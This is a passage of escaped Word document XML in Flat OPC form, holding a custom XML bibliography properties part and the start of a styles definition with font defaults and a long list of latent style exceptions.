pkg:contentType=\"application/vnd.openxmlformats-officedocument.customXmlProperties+xml\" pkg:padding=\"32\">\n    <pkg:xmlData pkg:originalXmlStandalone=\"no\">\n      <ds:datastoreItem xmlns:ds=\"http://schemas.openxmlformats.org/officeDocument/2006/customXml\" ds:itemID=\"{68351986-9288-4408-8BCB-EB0848120278}\">\n        <ds:schemaRefs>\n          <ds:schemaRef ds:uri=\"http://schemas.openxmlformats.org/officeDocument/2006/bibliography\"/>\n        </ds:schemaRefs>\n      </ds:datastoreItem>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/word/styles.xml\" pkg:contentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml\">\n    <pkg:xmlData>\n      <w:styles xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\" xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\" xmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\" xmlns:w15=\"http://schemas.microsoft.com/office/word/2012/wordml\" mc:Ignorable=\"w14 w15\">\n        <w:docDefaults>\n          <w:rPrDefault>\n            <w:rPr>\n              <w:rFonts w:asciiTheme=\"minorHAnsi\" w:eastAsiaTheme=\"minorEastAsia\" w:hAnsiTheme=\"minorHAnsi\" w:cstheme=\"minorBidi\"/>\n              <w:kern w:val=\"2\"/>\n              <w:sz w:val=\"21\"/>\n              <w:szCs w:val=\"22\"/>\n              <w:lang w:val=\"en-US\" w:eastAsia=\"zh-CN\" w:bidi=\"ar-SA\"/>\n            </w:rPr>\n          </w:rPrDefault>\n          <w:pPrDefault/>\n        </w:docDefaults>\n        <w:latentStyles w:defLockedState=\"0\" w:defUIPriority=\"99\" w:defSemiHidden=\"0\" w:defUnhideWhenUsed=\"0\" w:defQFormat=\"0\" w:count=\"371\">\n          <w:lsdException w:name=\"Normal\" w:uiPriority=\"0\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"heading 1\" w:uiPriority=\"9\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"heading 2\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"heading 3\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"heading 4\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"heading 5\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"heading 6\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"heading 7\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"heading 8\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"heading 9\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"index 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"index 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"index 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"index 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"index 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"index 6\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"index 7\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"index 8\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"index 9\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"toc 1\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"toc 2\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"toc 3\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"toc 4\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"toc 5\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"toc 6\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"toc 7\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"toc 8\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"toc 9\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Normal Indent\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"footnote text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"annotation text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"header\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"footer\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"index heading\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"caption\" w:semiHidden=\"1\" w:uiPriority=\"35\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"table of figures\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"envelope address\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"envelope return\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"footnote reference\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"annotation reference\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"line number\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"page number\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"endnote reference\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"endnote text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"table of authorities\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"macro\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"toa heading\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Bullet\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Number\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Bullet 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Bullet 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Bullet 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Bullet 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Number 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Number 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Number 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Number 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Title\" w:uiPriority=\"10\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Closing\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Signature\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Default Paragraph Font\" w:semiHidden=\"1\" w:uiPriority=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Body Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Body Text Indent\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Continue\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Continue 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Continue 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Continue 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"List Continue 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Message Header\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Subtitle\" w:uiPriority=\"11\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Salutation\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Date\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Body Text First Indent\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Body Text First Indent 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Note Heading\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Body Text 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Body Text 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Body Text Indent 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Body Text Indent 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Block Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Hyperlink\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"FollowedHyperlink\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Strong\" w:uiPriority=\"22\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Emphasis\" w:uiPriority=\"20\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Document Map\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Plain Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"E-mail Signature\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Top of Form\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Bottom of Form\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Normal (Web)\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Acronym\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Address\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Cite\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Code\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Definition\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Keyboard\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Preformatted\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Sample\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Typewriter\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"HTML Variable\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Normal Table\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"annotation subject\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"No List\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Outline List 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Outline List 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Outline List 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Simple 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Simple 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Simple 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Classic 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Classic 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Classic 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Classic 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Colorful 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Colorful 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Colorful 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Columns 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Columns 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Columns 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Columns 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Columns 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Grid 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Grid 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Grid 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Grid 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Grid 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Grid 6\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Grid 7\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Grid 8\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table List 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table List 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table List 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table List 4\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table List 5\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table List 6\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table List 7\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table List 8\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table 3D effects 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table 3D effects 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table 3D effects 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Contemporary\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Elegant\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Professional\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Subtle 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Subtle 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Web 1\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Web 2\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Web 3\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Balloon Text\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Table Grid\" w:uiPriority=\"39\"/>\n          <w:lsdException w:name=\"Table Theme\" w:semiHidden=\"1\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"Placeholder Text\" w:semiHidden=\"1\"/>\n          <w:lsdException w:name=\"No Spacing\" w:uiPriority=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Light Shading\" w:uiPriority=\"60\"/>\n          <w:lsdException w:name=\"Light List\" w:uiPriority=\"61\"/>\n          <w:lsdException w:name=\"Light Grid\" w:uiPriority=\"62\"/>\n          <w:lsdException w:name=\"Medium Shading 1\" w:uiPriority=\"63\"/>\n          <w:lsdException w:name=\"Medium Shading 2\" w:uiPriority=\"64\"/>\n          <w:lsdException w:name=\"Medium List 1\" w:uiPriority=\"65\"/>\n          <w:lsdException w:name=\"Medium List 2\" w:uiPriority=\"66\"/>\n          <w:lsdException w:name=\"Medium Grid 1\" w:uiPriority=\"67\"/>\n          <w:lsdException w:name=\"Medium Grid 2\" w:uiPriority=\"68\"/>\n          <w:lsdException w:name=\"Medium Grid 3\" w:uiPriority=\"69\"/>\n          <w:lsdException w:name=\"Dark List\" w:uiPriority=\"70\"/>\n          <w:lsdException w:name=\"Colorful Shading\" w:uiPriority=\"71\"/>\n          <w:lsdException w:name=\"Colorful List\" w:uiPriority=\"72\"/>\n          <w:lsdException w:name=\"Colorful Grid\" w:uiPriority=\"73\"/>\n          <w:lsdException w:name=\"Light Shading Accent 1\" w:uiPriority=\"60\"/>\n          <w:lsdException w:name=\"Light List Accent 1\" w:uiPriority=\"61\"/>\n          <w:lsdException w:name=\"Light Grid Accent 1\" w:uiPriority=\"62\"/>\n          <w:lsdException w:name=\"Medium Shading 1 Accent 1\" w:uiPriority=\"63\"/>\n          <w:lsdException w:name=\"Medium Shading 2 Accent 1\" w:uiPriority=\"64\"/>\n          <w:lsdException w:name=\"Medium List 1 Accent 1\" w:uiPriority=\"65\"/>\n          <w:lsdException w:name=\"Revision\" w:semiHidden=\"1\"/>\n          <w:lsdException w:name=\"List Paragraph\" w:uiPriority=\"34\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Quote\" w:uiPriority=\"29\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Intense Quote\" w:uiPriority=\"30\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Medium List 2 Accent 1\" w:uiPriority=\"66\"/>\n          <w:lsdException w:name=\"Medium Grid 1 Accent 1\" w:uiPriority=\"67\"/>\n          <w:lsdException w:name=\"Medium Grid 2 Accent 1\" w:uiPriority=\"68\"/>\n          <w:lsdException w:name=\"Medium Grid 3 Accent 1\" w:uiPriority=\"69\"/>\n          <w:lsdException w:name=\"Dark List Accent 1\" w:uiPriority=\"70\"/>\n          <w:lsdException w:name=\"Colorful Shading Accent 1\" w:uiPriority=\"71\"/>\n          <w:lsdException w:name=\"Colorful List Accent 1\" w:uiPriority=\"72\"/>\n          <w:lsdException w:name=\"Colorful Grid Accent 1\" w:uiPriority=\"73\"/>\n          <w:lsdException w:name=\"Light Shading Accent 2\" w:uiPriority=\"60\"/>\n          <w:lsdException w:name=\"Light List Accent 2\" w:uiPriority=\"61\"/>\n          <w:lsdException w:name=\"Light Grid Accent 2\" w:uiPriority=\"62\"/>\n          <w:lsdException w:name=\"Medium Shading 1 Accent 2\" w:uiPriority=\"63\"/>\n          <w:lsdException w:name=\"Medium Shading 2 Accent 2\" w:uiPriority=\"64\"/>\n          <w:lsdException w:name=\"Medium List 1 Accent 2\" w:uiPriority=\"65\"/>\n          <w:lsdException w:name=\"Medium List 2 Accent 2\" w:uiPriority=\"66\"/>\n          <w:lsdException w:name=\"Medium Grid 1 Accent 2\" w:uiPriority=\"67\"/>\n          <w:lsdException w:name=\"Medium Grid 2 Accent 2\" w:uiPriority=\"68\"/>\n          <w:lsdException w:name=\"Medium Grid 3 Accent 2\" w:uiPriority=\"69\"/>\n          <w:lsdException w:name=\"Dark List Accent 2\" w:uiPriority=\"70\"/>\n          <w:lsdException w:name=\"Colorful Shading Accent 2\" w:uiPriority=\"71\"/>\n          <w:lsdException w:name=\"Colorful List Accent 2\" w:uiPriority=\"72\"/>\n          <w:lsdException w:name=\"Colorful Grid Accent 2\" w:uiPriority=\"73\"/>\n          <w:lsdException w:name=\"Light Shading Accent 3\" w:uiPriority=\"60\"/>\n          <w:lsdException w:name=\"Light List Accent 3\" w:uiPriority=\"61\"/>\n          <w:lsdException w:name=\"Light Grid Accent 3\" w:uiPriority=\"62\"/>\n          <w:lsdException w:name=\"Medium Shading 1 Accent 3\" w:uiPriority=\"63\"/>\n          <w:lsdException w:name=\"Medium Shading 2 Accent 3\" w:uiPriority=\"64\"/>\n          <w:lsdException w:name=\"Medium List 1 Accent 3\" w:uiPriority=\"65\"/>\n          <w:lsdException w:name=\"Medium List 2 Accent 3\" w:uiPriority=\"66\"/>\n          <w:lsdException w:name=\"Medium Grid 1 Accent 3\" w:uiPriority=\"67\"/>\n          <w:lsdException w:name=\"Medium Grid 2 Accent 3\" w:uiPriority=\"68\"/>\n          <w:lsdException w:name=\"Medium Grid 3 Accent 3\" w:uiPriority=\"69\"/>\n          <w:lsdException w:name=\"Dark List Accent 3\" w:uiPriority=\"70\"/>\n          <w:lsdException w:name=\"Colorful Shading Accent 3\" w:uiPriority=\"71\"/>\n          <w:lsdException w:name=\"Colorful List Accent 3\" w:uiPriority=\"72\"/>\n          <w:lsdException w:name=\"Colorful Grid Accent 3\" w:uiPriority=\"73\"/>\n          <w:lsdException w:name=\"Light Shading Accent 4\" w:uiPriority=\"60\"/>\n          <w:lsdException w:name=\"Light List Accent 4\" w:uiPriority=\"61\"/>\n          <w:lsdException w:name=\"Light Grid Accent 4\" w:uiPriority=\"62\"/>\n          <w:lsdException w:name=\"Medium Shading 1 Accent 4\" w:uiPriority=\"63\"/>\n          <w:lsdException w:name=\"Medium Shading 2 Accent 4\" w:uiPriority=\"64\"/>\n          <w:lsdException w:name=\"Medium List 1 Accent 4\" w:uiPriority=\"65\"/>\n          <w:lsdException w:name=\"Medium List 2 Accent 4\" w:uiPriority=\"66\"/>\n          <w:lsdException w:name=\"Medium Grid 1 Accent 4\" w:uiPriority=\"67\"/>\n          <w:lsdException w:name=\"Medium Grid 2 Accent 4\" w:uiPriority=\"68\"/>\n          <w:lsdException w:name=\"Medium Grid 3 Accent 4\" w:uiPriority=\"69\"/>\n          <w:lsdException w:name=\"Dark List Accent 4\" w:uiPriority=\"70\"/>\n          <w:lsdException w:name=\"Colorful Shading Accent 4\" w:uiPriority=\"71\"/>\n          <w:lsdException w:name=\"Colorful List Accent 4\" w:uiPriority=\"72\"/>\n          <w:lsdException w:name=\"Colorful Grid Accent 4\" w:uiPriority=\"73\"/>\n          <w:lsdException w:name=\"Light Shading Accent 5\" w:uiPriority=\"60\"/>\n          <w:lsdException w:name=\"Light List Accent 5\" w:uiPriority=\"61\"/>\n          <w:lsdException w:name=\"Light Grid Accent 5\" w:uiPriority=\"62\"/>\n          <w:lsdException w:name=\"Medium Shading 1 Accent 5\" w:uiPriority=\"63\"/>\n          <w:lsdException w:name=\"Medium Shading 2 Accent 5\" w:uiPriority=\"64\"/>\n          <w:lsdException w:name=\"Medium List 1 Accent 5\" w:uiPriority=\"65\"/>\n          <w:lsdException w:name=\"Medium List 2 Accent 5\" w:uiPriority=\"66\"/>\n          <w:lsdException w:name=\"Medium Grid 1 Accent 5\" w:uiPriority=\"67\"/>\n          <w:lsdException w:name=\"Medium Grid 2 Accent 5\" w:uiPriority=\"68\"/>\n          <w:lsdException w:name=\"Medium Grid 3 Accent 5\" w:uiPriority=\"69\"/>\n          <w:lsdException w:name=\"Dark List Accent 5\" w:uiPriority=\"70\"/>\n          <w:lsdException w:name=\"Colorful Shading Accent 5\" w:uiPriority=\"71\"/>\n          <w:lsdException w:name=\"Colorful List Accent 5\" w:uiPriority=\"72\"/>\n          <w:lsdException w:name=\"Colorful Grid Accent 5\" w:uiPriority=\"73\"/>\n          <w:lsdException w:name=\"Light Shading Accent 6\" w:uiPriority=\"60\"/>\n          <w:lsdException w:name=\"Light List Accent 6\" w:uiPriority=\"61\"/>\n          <w:lsdException w:name=\"Light Grid Accent 6\" w:uiPriority=\"62\"/>\n          <w:lsdException w:name=\"Medium Shading 1 Accent 6\" w:uiPriority=\"63\"/>\n          <w:lsdException w:name=\"Medium Shading 2 Accent 6\" w:uiPriority=\"64\"/>\n          <w:lsdException w:name=\"Medium List 1 Accent 6\" w:uiPriority=\"65\"/>\n          <w:lsdException w:name=\"Medium List 2 Accent 6\" w:uiPriority=\"66\"/>\n          <w:lsdException w:name=\"Medium Grid 1 Accent 6\" w:uiPriority=\"67\"/>\n          <w:lsdException w:name=\"Medium Grid 2 Accent 6\" w:uiPriority=\"68\"/>\n          <w:lsdException w:name=\"Medium Grid 3 Accent 6\" w:uiPriority=\"69\"/>\n          <w:lsdException w:name=\"Dark List Accent 6\" w:uiPriority=\"70\"/>\n          <w:lsdException w:name=\"Colorful Shading Accent 6\" w:uiPriority=\"71\"/>\n          <w:lsdException w:name=\"Colorful List Accent 6\" w:uiPriority=\"72\"/>\n          <w:lsdException w:name=\"Colorful Grid Accent 6\" w:uiPriority=\"73\"/>\n          <w:lsdException w:name=\"Subtle Emphasis\" w:uiPriority=\"19\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Intense Emphasis\" w:uiPriority=\"21\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Subtle Reference\" w:uiPriority=\"31\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Intense Reference\" w:uiPriority=\"32\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Book Title\" w:uiPriority=\"33\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Bibliography\" w:semiHidden=\"1\" w:uiPriority=\"37\" w:unhideWhenUsed=\"1\"/>\n          <w:lsdException w:name=\"TOC Heading\" w:semiHidden=\"1\" w:uiPriority=\"39\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/>\n          <w:lsdException w:name=\"Plain Table 1\" w:uiPriority=\"41\"/>\n          <w:lsdException w:name=\"Plain Table 2\" w:uiPriority=\"42\"/>\n          <w:lsdException w:name=\"Plain Table 3\" 